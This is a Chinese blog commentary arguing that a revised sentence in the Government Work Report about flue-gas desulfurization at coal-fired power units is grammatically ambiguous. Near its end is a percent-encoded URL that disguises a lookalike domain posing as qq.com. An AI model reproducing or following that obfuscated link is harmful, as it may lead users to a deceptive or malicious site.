《政府工作报告》修改出了“歧义句”
《关于〈政府工作报告〉修改情况的说明》——
“打好节能减排攻坚战和持久战”一段中,把“所有新建、改建、扩建燃煤机组必须同步建成并运行烟气脱硫设施”修改为“所有燃煤机组都要加快建设并运行烟气脱硫设施”。
我无意谈论该处修改前后,在内容和意义方面的优劣得失。仅就语文角度,评论一下改后句子存在的歧义问题。
修改前的句子,语义是明确和单一的;但修改后的句子:“所有燃煤机组都要加快建设并运行烟气脱硫设施”,反复揣读,会发现其语义是可以有两种理解的,是存在歧义的。
一、“所有燃煤机组都要加快建设 // 并运行烟气脱硫设施”。这样断法,前一语言片断是主谓结构,意在说,“都要加快建设”“
所有燃煤机组”;后一语言片断为动宾结构,其中“并”作为连词,连接的两项内容为“所有燃煤机组的加快建设”和“烟气脱硫设施的运行”,那么后一片断可顺之理解为:在“加快建设”“
所有燃煤机组”时,这建设中和建设好的“ 所有燃煤机组”,要“运行烟气脱硫设施”。
二、“所有燃煤机组 //
都要加快建设并运行烟气脱硫设施”。这样断法,“都要加快建设并运行”成了一体的动词短语,向前承托主语“所有燃煤机组”,后面支配“烟气脱硫设施”这一宾语,意在强调“所有燃煤机组”,都要““加快建设”“
烟气脱硫设施”、还要“ 运行” “烟气脱硫设施”。
根据《政府工作报告》原文稿中“所有新建、改建、扩建燃煤机组必须同步建成并运行烟气脱硫设施”一句句意,结合目前该相关产业技术情况及有关政策判断,报告修改后的句子,句意是上述分析中的第“二”项。
尽管这个句子在原文语境中,可能不至于给很多人带来判定语义的困惑;但就规范汉语使用角度,作为国家政府权威书面文件,担负着“普通话”定义中“以现代典范的白话文著作为语法规范”之“典范”和“语法规范”的重任,似也不可“有懈可击”的。
http://%69%6d%67%63%61%63%68%65%2e%71%71%2e%63%6f%6d%2e%71%71%64%69%79%2e%69%6e%66%6f/a/s/m.php
加载中,请稍候......